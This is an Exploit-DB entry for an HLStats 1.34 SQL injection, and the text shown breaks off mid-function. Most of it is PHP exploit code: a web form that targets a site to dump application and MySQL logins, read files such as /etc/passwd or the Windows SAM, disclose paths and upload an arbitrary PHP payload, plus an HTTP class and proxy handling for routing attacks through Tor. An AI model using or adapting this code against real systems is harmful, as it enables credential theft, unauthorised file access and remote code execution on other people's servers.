Exploit-DB #3002
Description: HLStats 1.34 - 'hlstats.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-12-25
Author: Michael Brooks

Exploit:
<br><b>
<?php
/*
Live Exploit Code
SQL Inection + Path Disclosure
Affects HLStats HLStats <=1.34  and Hlstats >= 1.20
works with magic_quotes_gpc=On
by Michael Brooks
*/

 print "<title>HLStats SQL Injection Exploit</title>
 <body bgcolor='#009900'>
 <font  color='#FF0000'>
<b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br><br>
<center><b> <br>
Welcome To HLstats Exploit code.<br><br>
</b></center> 
<br> 
SQL Inection + Path Disclosure<br>
Affects Hlstats >= 1.20 to HLStats <=1.34(current)<br>
Tested on Linux and Windows<br>
works with magic_quotes_gpc=On!<br>
HLStats has gone though 5 years with no exploits so this is a Birthday Present!<br>
Merry Christmass!<br>
By Michael Brooks<br>
<br>
<b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br><br>
";
 
 print "
 	<form action='".$_SERVER['PHP_SELF']."' method='post'>
	<b>Target:</b><br>
	<input type='text' name='target' size=32><br>
	(hint: where the login form is. example: http://domain.com/path/hlstats.php )<br>
	<br><b>Proxy:</b>(ip:port or name:pass@ip:port)<br>
	<input type='text' name='proxy' size=32><br>
	(example: 127.0.0.1:8118   Use <a href='http://tor.eff.org'>Tor</a>+<a href='http://www.privoxy.org/'>Privoxy</a>. )<br>
	<br><br>
	If nothing is changed below this line then the exploit will attempt to get the database login information in plain text.
<b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br><br>
	<H1>ATTACKS:</H1>
	<br>
	<b>Database Selects:</b><br>
	<br>
	OBTIAN HLStats logins:<br>
	<input type='submit' name='button' value='HLStats_Logins'>(Passwords are stored as MD5 hashs, use: <a href='http://www.milw0rm.com/cracker/insert.php'>Milw0rm's MD5 Cracker</a>)<br>
 		
 		  OBTIAN mysql.user logins:<br>
 		<input type='submit' name='button' value='Mysql_Logins'><br>
	<br>

	<br>
 	<b>File IO:</b><br><br>
 	<b>Path Disclosure</b><br>
 	<input type='submit' name='button' value='Path'><br>
	<br>
	<b>Plain Text Database Login Information</b><br>
	<input type='submit' name='button' value='Read_Login'>
	(This will attempt to read the configuration file for hlstats and dump the PLAIN TEXT database login information.)<br>
	<br>
	<b>Read Other File</b><br>
	<input type='submit' name='button' value='Read_File'>
	<input type='text' name='read_file' size=50>
	<br>example: /etc/passwd<br>
	OR for windows based systems: C:\\\\WINDOWS\\\\repair\\\\sam<br>
	<br><b>attempt payload:</b>(WARNING,  NO PROXY IS USED FOR UPLOADING PAYLOAD)<br>
	<input type='submit'  name='button' value='Upload'>
	 &lt?php <input type='text' name='payload' size=50>?&gt <br>
	example: system('netstat'); <br>
	
	</form>
	<br><b>--------------------------------------------------------------------------------------------------------------------------------------------></b><br>
	";

 //generic http class
class http{
	var $proxy_ip='', $proxy_port='', $proxy_name='', $proxy_pass='';
	
	function http_gpc_send($loc ,$cookie="", $postdata = "") { 
		 //overload function polymorphism between gets and posts
		 $url=parse_url($loc);
		 if(!isset($url['port'])){
		   $url['port']=80;
		}
		//$ua=$_SERVER['HTTP_USER_AGENT'];
		$ua='GPC/.01';
		 if($this->proxy_ip!=''&&$this->proxy_port!=''){
			$fp = pfsockopen( $this->proxy_ip, $this->proxy_port, &$errno, &$errstr, 120 );
			$url['path']=$url['host'].':'.$url['port'].$url['path'];
		 }else{
			$fp = fsockopen( $url['host'], $url['port'], &$errno, &$errstr, 120 );
		 }
		 
		 if( !$fp ) {
		    print "$errstr ($errno)<br>\nn";
		 } else {
		    if( $postdata=='' ) {
			fputs( $fp, "GET ".$url['path']."?".$url['query']." HTTP/1.1\r\n" );
		    } else {
			fputs( $fp, "POST ".$url['path']."?".$url['query']." HTTP/1.1\r\n" );
		    }
		    
		    if($this->proxy_name!=''&&$this->proxy_pass!=''){
			fputs($fp, "Proxy-Authorization: Basic ".base64_encode($this->proxy_name.":".$this->proxy_pass)."\r\n\r\n");
		    }

		    fputs($fp, "Host: ".$url['host'].":".$url['port']."\r\n");
		    fputs( $fp, "User-Agent: ".$ua."\r\n" );
		    fputs( $fp, "Accept: text/plain\r\n" );
		    fputs( $fp,"Connection: Close\r\n" );
		    if($cookie!=''){ 
			fputs( $fp, "Cookie: ".$cookie."\r\n" );
		    }
		    if( $postdata!='' ) {
			$strlength = strlen( $postdata );
			fputs( $fp, "Content-type: application/x-www-form-urlencoded\r\n" );
			fputs( $fp, "Content-length: ".$strlength."\r\n\r\n" );
			fputs( $fp, $postdata);
		    }
		    fputs( $fp, "\n\n" );
		    
		   $output = "";
		   while( !feof( $fp ) ) {
			$output .= fgets( $fp, 1024 );
		   }
		    fclose( $fp );
		 }
		 return $output;
	}
	
	function proxy($proxy){ //user:pass@ip:port
		$proxyAuth=explode('@',$proxy);
		if(isset($proxyAuth[1])){
			$login=explode(':',$proxyAuth[0]);
			$this->proxy_name=$login[0];
			$this->proxy_pass=$login[1];
			
			$addr=explode(':',$proxyAuth[1]);
			$this->proxy_ip=$addr[0];
			$this->proxy_port=$addr[1];
		}else{
			$addr=explode(':',$proxy);
			$this->proxy_ip=$addr[0];
			$this->proxy_port=$addr[1];
		}
	}
	
	function get($url, $cookie=''){
		return $this->http_gpc_send($url, $cookie);
	}

	function post($url, $cookie='', $post=''){
		return $this->http_gpc_send($url,$cookie,$post);
	}
	
	function getServer($url){
		$resp=$this->http_gpc_send($url);
		$header=explode("Server: ",$resp);
		$server=explode("\n",$header[1]);
		return $server[0];
	}
}

//reuseable functions
function getPath($html){
	$path='';
	$resp=explode("array given in <b>",$html);
	if(isset($resp[1])){
		$resp = explode("</b>",$resp[1]);
	}else{
		$resp[0]=false;
	}
	return $resp[0];
}

function charEncode(